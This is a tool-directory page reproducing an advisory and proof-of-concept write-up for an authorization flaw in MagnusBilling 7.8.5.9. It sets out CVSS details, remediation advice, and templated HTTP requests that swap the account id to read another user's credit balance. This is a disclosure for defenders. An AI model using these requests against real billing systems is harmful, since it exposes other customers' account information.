Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-117025 — Advisory and proof-of-concept write-up for CVE-2026-117025, an IDOR (CWE-639) in MagnusBilling 7.8.5.9 that lets authenticated users read other accounts' credit balances via the user/credit endpoint. | Kitploit
Tools/GitHubGitHub/lariinz/cve-2026-117025
Authentication & AuthorizationVulnerability AnalysisWeb Application ExploitationInformation GatheringWeb SecurityPapers & Research
GitHublariinz/cve-2026-117025

CVE-2026-117025

Advisory and proof-of-concept write-up for CVE-2026-117025, an IDOR (CWE-639) in MagnusBilling 7.8.5.9 that lets authenticated users read other accounts' credit balances via the user/credit endpoint.

View Repository
8 days agoNot yet reviewed
Share

CVE-2026-117025 - IDOR in MagnusBilling 7

Summary

An Insecure Direct Object Reference (IDOR) vulnerability was identified in MagnusBilling 7 (confirmed on 7.8.5.9). An authenticated user may retrieve another account’s credit balance by changing the id parameter in a request to the user/credit endpoint.

The endpoint does not verify that the requested account belongs to the authenticated user or that the user has permission to access that account’s credit information.

FieldDetails
CVECVE-2026-117025
VendorMagnusSolution
ProductMagnusBilling 7
Affected version7.8.5.9
Fixed versionMagnusBilling 8, according to the vendor
Vulnerability typeCWE-639: Authorization Bypass Through User-Controlled Key
Attack vectorNetwork
Privileges requiredLow
User interactionNone
CVSS v3.16.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Description

The POST /mbilling/index.php/user/credit endpoint accepts an id parameter that identifies the account whose credit balance is returned.

In the tested version, MagnusBilling does not enforce an ownership or authorization check to ensure that the requested account belongs to the authenticated user. As a result, an authenticated user may change the id parameter and retrieve the credit balance associated with another account.

The vulnerability affects confidentiality. The endpoint was observed to return account credit information; this report does not claim that this endpoint permits modification of another account’s balance.

Affected and fixed versions

  • Affected: MagnusBilling 7.8.5.9 (tested).
  • Fixed: MagnusBilling 8, according to the vendor.

Only the version listed as tested is confirmed by this report. Refer to the vendor for the complete affected-version range and remediation details.

Steps to reproduce

Perform testing only on a MagnusBilling instance that you own or are explicitly authorized to assess. Use test accounts and synthetic data.

  1. Sign in as a standard, low-privilege test user and capture a valid session and CSRF token.

  2. Send a request to the endpoint using the test user’s own account ID:

    POST /mbilling/index.php/user/credit HTTP/1.1
    Host: <AUTHORIZED_TEST_HOST>
    Cookie: PHPSESSID=<REDACTED_SESSION_COOKIE>; YII_CSRF_TOKEN=<REDACTED_CSRF_COOKIE>
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    
    id=<TEST_USER_ACCOUNT_ID>&YII_CSRF_TOKEN=<REDACTED_CSRF_TOKEN>
    
  3. Repeat the request with the ID of a second test account that does not belong to the authenticated user. Change only the id value:

    POST /mbilling/index.php/user/credit HTTP/1.1
    Host: <AUTHORIZED_TEST_HOST>
    Cookie: PHPSESSID=<REDACTED_SESSION_COOKIE>; YII_CSRF_TOKEN=<REDACTED_CSRF_COOKIE>
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    
    id=<SECOND_TEST_ACCOUNT_ID>&YII_CSRF_TOKEN=<REDACTED_CSRF_TOKEN>
    
  4. Compare the responses. The vulnerability is present if the authenticated user receives the second test account’s credit balance despite lacking authorization to view it.

Example response format, using synthetic data:

{"rows":{"credit":"<SYNTHETIC_TEST_VALUE>"}}

Impact

An authenticated user may access credit-balance information for accounts they are not authorized to view. This constitutes an unauthorized disclosure of account information.

The endpoint was observed to be read-only during testing. No modification of another account’s credit balance was demonstrated.

Remediation

The endpoint should verify authorization on the server side for every request. It should ensure that the requested account belongs to the authenticated user, or that the authenticated user has an explicitly authorized role permitting access to that account.

The vendor has stated that the issue is fixed in MagnusBilling 8. Users should consult the vendor’s guidance and upgrade to a version containing the fix.

References

  • CWE-639: https://cwe.mitre.org/data/definitions/639.html
  • OWASP Top 10 2021 - A01: Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    590
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    383
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    322
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    309
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    283

Explore all tools

Browse our collection of tools

View all tools →